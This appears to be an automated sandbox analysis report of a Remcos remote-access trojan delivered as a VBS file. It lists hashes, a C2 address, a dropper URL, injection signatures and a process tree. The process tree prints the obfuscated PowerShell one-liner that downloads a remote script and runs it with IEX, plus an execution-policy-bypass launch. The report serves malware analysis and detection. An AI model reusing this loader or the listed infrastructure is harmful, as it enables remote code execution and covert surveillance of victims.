remcos | a465bb35f4e7bafb2fea17156c39daee286e49c3f10463ecb8d29766e2d0b200

General

Target

Appraisal.property..vbs
Size

704B
MD5

7058bdc13d0094b435eaa07b09e76297
SHA1

f9084f4c4f1756fd531007a8fd7a344207a4cd13
SHA256

a465bb35f4e7bafb2fea17156c39daee286e49c3f10463ecb8d29766e2d0b200
SHA512

1b0bfd576cfae09c9d997ea8a93fa07e9b353cd68076d6665d21a6b46940126593d3eeb78331375a64a94e0b332581e1a4207e9217b5bf142c1798ddf7a12ed7

Score

10^/10

remcos rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601403.us.archive.org/35/items/all_20210429/ALL.TXT

Extracted

Family

remcos

C2

185.19.85.168:1723

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

7 1988 powershell.exe
9 1988 powershell.exe
11 1988 powershell.exe
13 1988 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 968 set thread context of 860 968 powershell.exe aspnet_compiler.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1988 powershell.exe
1988 powershell.exe
968 powershell.exe
968 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1988 powershell.exe
Token: SeDebugPrivilege 968 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

860 aspnet_compiler.exe

flow	pid	process
7	1988	powershell.exe
9	1988	powershell.exe
11	1988	powershell.exe
13	1988	powershell.exe

description	pid	process	target process
PID 968 set thread context of 860	968	powershell.exe	aspnet_compiler.exe

pid	process
1988	powershell.exe
1988	powershell.exe
968	powershell.exe
968	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe

pid	process
860	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1748 wrote to memory of 1988	1748	WScript.exe	powershell.exe
PID 1748 wrote to memory of 1988	1748	WScript.exe	powershell.exe
PID 1748 wrote to memory of 1988	1748	WScript.exe	powershell.exe
PID 1988 wrote to memory of 968	1988	powershell.exe	powershell.exe
PID 1988 wrote to memory of 968	1988	powershell.exe	powershell.exe
PID 1988 wrote to memory of 968	1988	powershell.exe	powershell.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe
PID 968 wrote to memory of 860	968	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisal.property..vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://ia601403.us.archive.org/35/items/all_20210429/ALL.TXT';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
4⤵
- Suspicious use of SetWindowsHookEx
PID:860

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
b202c39937a0fa21b7bb729bd241eb64

SHA1
203e99bdbce94aec4b521b3f204a024aa20a7d11

SHA256
5dd55919654ce4614cdf86b386e82e2dda2ef83111953114b538b7009263e85b

SHA512
70fb89ad7f3f9b03bef7cdd3bc5b6e0c9607cfed0ef2ad76dae498918fd93c008b8cf190fabf65461bde441474d77e8b9ecae229ab635d9a75617029d89320b1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
216511fdeee527598d329e19d3512596

SHA1
14dc421a6ef8f3664fa30ed3ac37e3dbb25b6405

SHA256
f3b5c00e839f0507d1f6c090e2aee03235cab95f4166c0f84b611626520fb467

SHA512
3a50ea3976b3ed0995ff40f08c1985aa182c0776eb2c534e73ccd7d693e525e606f4c31d7e70faf334053a71c0dba2e25da19d5b3229b54a1ca5e77ab6617cf8

Download Submit
C:\Users\Public\ Microsoft.ps1
MD5
8f6332bbb2ac7fd6aca48c0a7c389e99

SHA1
f0158d25c9e29ef3769f4c5f6b23e08d836628b0

SHA256
ad6b1343724f61fc76f17b844d53df5b5599b1b93c3709d7a2061c52ea46c9f2

SHA512
5cc1a3c86976b0f4e88ca568f60f22241225b6a31a6f48f26a76bd84e9723541537c13f745745becca24f47f7a8e354dda948d30f521df5c842e56443fced8eb

Download Submit
memory/860-87-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/860-85-0x00000000757E1000-0x00000000757E3000-memory.dmp

Filesize
8KB

Download
memory/860-84-0x000000000042EEEF-mapping.dmp

Download
memory/860-83-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/968-70-0x0000000000000000-mapping.dmp

Download
memory/968-77-0x00000000025F4000-0x00000000025F6000-memory.dmp

Filesize
8KB

Download
memory/968-86-0x0000000002360000-0x0000000002361000-memory.dmp

Filesize
4KB

Download
memory/968-82-0x000000001AB00000-0x000000001AB1F000-memory.dmp

Filesize
124KB

Download
memory/968-76-0x00000000025F0000-0x00000000025F2000-memory.dmp

Filesize
8KB

Download
memory/1748-59-0x000007FEFB8F1000-0x000007FEFB8F3000-memory.dmp

Filesize
8KB

Download
memory/1988-66-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

Filesize
8KB

Download
memory/1988-68-0x000000001B720000-0x000000001B721000-memory.dmp

Filesize
4KB

Download
memory/1988-65-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

Filesize
8KB

Download
memory/1988-67-0x00000000022E0000-0x00000000022E1000-memory.dmp

Filesize
4KB

Download
memory/1988-64-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/1988-63-0x000000001AB70000-0x000000001AB71000-memory.dmp

Filesize
4KB

Download
memory/1988-62-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/1988-69-0x000000001C790000-0x000000001C791000-memory.dmp

Filesize
4KB

Download
memory/1988-60-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads